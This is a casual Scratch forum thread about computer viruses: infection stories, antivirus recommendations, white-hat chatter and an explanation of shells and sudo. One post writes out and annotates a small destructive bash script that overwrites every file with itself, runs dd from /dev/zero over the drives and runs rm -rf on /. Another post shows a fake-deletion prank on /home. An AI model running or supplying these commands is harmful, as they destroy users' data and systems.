Discuss Scratch

Hans5958
Scratcher
100+ posts

Computer Viruses

FakeOS wrote:

Vetpetmon wrote:

I guess this is another bump…

Nice, my other real life friend somehow downloaded 4 viruses. She claims she doesn't know how to download anything.

I was shocked when I found out that the PC had 55 TROJANS in it's entire lifespan.

I'm gonna have to factory reset it too fix it and upgrade it to Windows 10 because Windows 8"s UI is just a complete mess, plus, W10 will keep the viruses off and it will certainly speed up her laptop.

The viruses corrupted some of the vital files needed for installing W10 (VERY SMART LITTLE BUGS BUT THEY CAN'T FOOL ME) so that's why I need to factory reset it.

But first, she needs to buy a flash drive before I factory reset her PC and she loses over half a gig of her pictures from her phone.(THAT'S A LOT OF PICTURES!)

Why don't you just download malwarebytes and remove the Trojans? Mbam is good as it detects PUPs aswell- program that aren't malware but you don't want. You could try combo fix but that's really serious and could damage your pc. A combo of malwarebytes and avast should do the trick, just get the free version

EDIT: when you upgrade to windows10, be aware the antivirus is very basic. You might need more av software like malwarebytes. Also make sure you check some of the privacy settings!

Also, did you format the hard drive when you tried to install windows 10?

Vetpetmon wrote:

The viruses corrupted some of the vital files needed for installing W10 (VERY SMART LITTLE BUGS BUT THEY CAN'T FOOL ME) so that's why I need to factory reset it.
FakeOS
Scratcher
100+ posts

Computer Viruses

Hans5958 wrote:

FakeOS wrote:

Vetpetmon wrote:

I guess this is another bump…

Nice, my other real life friend somehow downloaded 4 viruses. She claims she doesn't know how to download anything.

I was shocked when I found out that the PC had 55 TROJANS in it's entire lifespan.

I'm gonna have to factory reset it too fix it and upgrade it to Windows 10 because Windows 8"s UI is just a complete mess, plus, W10 will keep the viruses off and it will certainly speed up her laptop.

The viruses corrupted some of the vital files needed for installing W10 (VERY SMART LITTLE BUGS BUT THEY CAN'T FOOL ME) so that's why I need to factory reset it.

But first, she needs to buy a flash drive before I factory reset her PC and she loses over half a gig of her pictures from her phone.(THAT'S A LOT OF PICTURES!)

Why don't you just download malwarebytes and remove the Trojans? Mbam is good as it detects PUPs aswell- program that aren't malware but you don't want. You could try combo fix but that's really serious and could damage your pc. A combo of malwarebytes and avast should do the trick, just get the free version

EDIT: when you upgrade to windows10, be aware the antivirus is very basic. You might need more av software like malwarebytes. Also make sure you check some of the privacy settings!

Also, did you format the hard drive when you tried to install windows 10?

Vetpetmon wrote:

The viruses corrupted some of the vital files needed for installing W10 (VERY SMART LITTLE BUGS BUT THEY CAN'T FOOL ME) so that's why I need to factory reset it.

so the person was in the middle of upgrading to Windows 10, and then it couldn't as the files were corrupted?

Sounds more like there was a problem with the actual install medium. Get a USB flash drive and on another computer set it up to do a clean install and make sure to format the drive so the pesky viruses are no longer on the drive (well, technically they are, you just cant use them)

OR…. (easier method)

use a combination of Malware Bytes and Avast to get rid of the Trojans. might be worth installing ad-block on your friends computer aswell
LionScratch
Scratcher
500+ posts

Computer Viruses

pastelistic wrote:

Is this some sort of help topic if you get a virus or what? xD
Not really… it's just a general virus discussion.
Jonathan50
Scratcher
1000+ posts

Computer Viruses

shopt -s globstar            #1
for p in **; do              #2
  [ -d $p ] || cat $0 > $p   #3
done                         #4
dd if=/dev/zero of=/dev/sd?  #5
rm -rf --no-preserve-root /  #6

  1. enable bash's recursive globbing
  2. for each file/folder (in variable p) in every file in every folder relative to the current directory
  3. if it is not a directory write the contents of the file pointed to in the variable $0 (argv[0]) to the file pointed to by $p
  4. stop looping
  5. attempt to wipe every hard drive
  6. attempt to delete every file in the root folder
TheDigitalDev
Scratcher
100+ posts

Computer Viruses

Recently got my windows PC infected by a Trojan. Backed up important stuff, and wiped the PC within 15 minutes.

Jordan_121
Scratcher
17 posts

Computer Viruses

nickmavrick wrote:

dude341 wrote:

Vetpetmon wrote:

mr_ninjabatman wrote:

have anyone seen those game ads that say at the bottom “download of playpopgames extention is required”

the adds are usually for free minecraft


I belive playpopgames extention is a virus or malware (or trojan horse)
That was the program that was my friend's computer (That her BROTHER JUST INSTALLED).

Don't install it, it certainly is a virus.
Yeah, don't install it, Minecraft isn't even free.
acctually the you can install minecraft for free using mineshafter_launcher.jar but as far as I know that only works in Linux

Jordan_121 wrote:

I Got minecraft and I got NO VIRUSES but I don't have MCEdit

Last edited by Jordan_121 (Feb. 19, 2016 11:42:50)

Vetpetmon
Scratcher
1000+ posts

Computer Viruses

FakeOS wrote:

Vetpetmon wrote:

I guess this is another bump…

Nice, my other real life friend somehow downloaded 4 viruses. She claims she doesn't know how to download anything.

I was shocked when I found out that the PC had 55 TROJANS in it's entire lifespan.

I'm gonna have to factory reset it too fix it and upgrade it to Windows 10 because Windows 8"s UI is just a complete mess, plus, W10 will keep the viruses off and it will certainly speed up her laptop.

The viruses corrupted some of the vital files needed for installing W10 (VERY SMART LITTLE BUGS BUT THEY CAN'T FOOL ME) so that's why I need to factory reset it.

But first, she needs to buy a flash drive before I factory reset her PC and she loses over half a gig of her pictures from her phone.(THAT'S A LOT OF PICTURES!)

Why don't you just download malwarebytes and remove the Trojans? Mbam is good as it detects PUPs aswell- program that aren't malware but you don't want. You could try combo fix but that's really serious and could damage your pc. A combo of malwarebytes and avast should do the trick, just get the free version

EDIT: when you upgrade to windows10, be aware the antivirus is very basic. You might need more av software like malwarebytes. Also make sure you check some of the privacy settings!

Also, did you format the hard drive when you tried to install windows 10?
I'm reformatting the Hard Drive because it can't connect to the internet at all. That's why I have to factory reset the computer.
FakeOS
Scratcher
100+ posts

Computer Viruses

Vetpetmon wrote:

FakeOS wrote:

Vetpetmon wrote:

I guess this is another bump…

Nice, my other real life friend somehow downloaded 4 viruses. She claims she doesn't know how to download anything.

I was shocked when I found out that the PC had 55 TROJANS in it's entire lifespan.

I'm gonna have to factory reset it too fix it and upgrade it to Windows 10 because Windows 8"s UI is just a complete mess, plus, W10 will keep the viruses off and it will certainly speed up her laptop.

The viruses corrupted some of the vital files needed for installing W10 (VERY SMART LITTLE BUGS BUT THEY CAN'T FOOL ME) so that's why I need to factory reset it.

But first, she needs to buy a flash drive before I factory reset her PC and she loses over half a gig of her pictures from her phone.(THAT'S A LOT OF PICTURES!)

Why don't you just download malwarebytes and remove the Trojans? Mbam is good as it detects PUPs aswell- program that aren't malware but you don't want. You could try combo fix but that's really serious and could damage your pc. A combo of malwarebytes and avast should do the trick, just get the free version

EDIT: when you upgrade to windows10, be aware the antivirus is very basic. You might need more av software like malwarebytes. Also make sure you check some of the privacy settings!

Also, did you format the hard drive when you tried to install windows 10?
I'm reformatting the Hard Drive because it can't connect to the internet at all. That's why I have to factory reset the computer.


Sounds good and also the way to remove the malware. Also there's no point in factory resetting if your reformatting ;P . Do be aware if you restore files you could get infected. As it sounds like its not your computer and this happens a lot to her i would install MBAM and adblock plus. I would say Common sense 2016, But it doesn't seem compatible with your hardware
DrKat123
Scratcher
1000+ posts

Computer Viruses

Anybody who is a white hat hacker say i!
I!
Jonathan50
Scratcher
1000+ posts

Computer Viruses

umount /home
echo "[1]+  Done                    rm -rf /home/*"
cd /home
Mwahahahaha…
DrKat123
Scratcher
1000+ posts

Computer Viruses

Jonathan50 wrote:

umount /home
echo "[1]+  Done                    rm -rf /home/*"
cd /home
Mwahahahaha…
Lol
I'm gonna learn weird sudo commands.
To prank other Ubuntu users
Tails-the-Doll
Scratcher
100+ posts

Computer Viruses

I remember having a laptop when I was a dumb kid. It had one virus, it wasn't BAD, but it was well uh bad? anyway it sets your homepage to a random search engine. it made the pc slow, other then that, it was fine. it did freeze sometimes if I was on MS PAINT for some reason (came with laptop) and yea.. then that next year, that virus then made other viruses I guess, then I had to literally delete them all. I forgot the antivirus I used, but it was the one that ALSO came with the laptop because I wanted to be safe.


then I got a new computer and so far, no viruses.

and, who ever had bonzi buddy? I must say it's the funniest virus, even if it's bad. I never had it luckily, because i'm smart enough to not get it.
DrKat123
Scratcher
1000+ posts

Computer Viruses

Tails-the-Doll wrote:

I remember having a laptop when I was a dumb kid. It had one virus, it wasn't BAD, but it was well uh bad? anyway it sets your homepage to a random search engine. it made the pc slow, other then that, it was fine. it did freeze sometimes if I was on MS PAINT for some reason (came with laptop) and yea.. then that next year, that virus then made other viruses I guess, then I had to literally delete them all. I forgot the antivirus I used, but it was the one that ALSO came with the laptop because I wanted to be safe.


then I got a new computer and so far, no viruses.

and, who ever had bonzi buddy? I must say it's the funniest virus, even if it's bad. I never had it luckily, because i'm smart enough to not get it.
@_@ wow

Btw i'm a founder of a local WhiteHacker club here in Jakarta
TheDigitalDev
Scratcher
100+ posts

Computer Viruses

I'm not sure you learn “sudo” commands. And i'm pretty sure it's not limited to Ubuntu. Anyways…

About White Hat Hacking
I'm a penetration tester I guess, not really an expert but I like to strengthen my network and all the devices in it.
DrKat123
Scratcher
1000+ posts

Computer Viruses

TheDigitalDev wrote:

I'm not sure you learn “sudo” commands. And i'm pretty sure it's not limited to Ubuntu. Anyways…

About White Hat Hacking
I'm a penetration tester I guess, not really an expert but I like to strengthen my network and all the devices in it.
To do something you learn that thing
To sudo you learn sudo
Nice that you're a white hat hacker like me
Firedrake969
Scratcher
1000+ posts

Computer Viruses

sudo is normally just appending “sudo ” to the start of every command to run as root…
Jonathan50
Scratcher
1000+ posts

Computer Viruses

Ok DrKat123
I'm going to try to explain commands, terminals and shells

What's a teletype?
Here's the Wikipedia article on a teletype.
It's basically a typewriter and a printer in one.
It was used to connect to a large computer. This was before they had small computers with screens.
Later they had video terminals to replace them.

Now, on PCs with screens, a peice of software called a ‘terminal emulator’ is run on a computer and simulates a terminal.
This is what the Terminal app on Ubuntu is.

What's a shell?
A shell is a program that takes commands as input (this input can come from a teletype, a video terminal, or a terminal emulator) and executes them. With the exceptions of a few built-in commands such as cd, these commands are actually regular external programs.
Bash is an example. It's what Ubuntu uses by default.

So that's the difference between a shell and a terminal.
The ‘Terminal’ app on Ubuntu doesn't actually interpret the commands, but the shell (bash).

And commands like sudo, dd, cat, mv, rm are just normal programs that the shell invokes when you type their name.

Sudo just runs the command it is passed as root. So, as Firedrake969 said above, sudo commands are just normal commands with “sudo ” prepended to them. (It's prepending, not appending.)
FakeOS
Scratcher
100+ posts

Computer Viruses

Less start the linux user war.

Does sudo stand for…..

Super User Do

Or…

Substitute User do?
Jonathan50
Scratcher
1000+ posts

Computer Viruses

FakeOS wrote:

Less start the linux user war.
What?
Does sudo stand for…..

Super User Do

Or…

Substitute User do?
sudo

(the acronym sudo originally meant superuser do)
FakeOS
Scratcher
100+ posts

Computer Viruses

Jonathan50 wrote:

FakeOS wrote:

Less start the linux user war.
What?
Does sudo stand for…..

Super User Do

Or…

Substitute User do?
sudo

(the acronym sudo originally meant superuser do)


I was a joke and i didn't know quite how to say it right, seeing as people argue/interpret what it means differently even thought Super user - do makes the most sense

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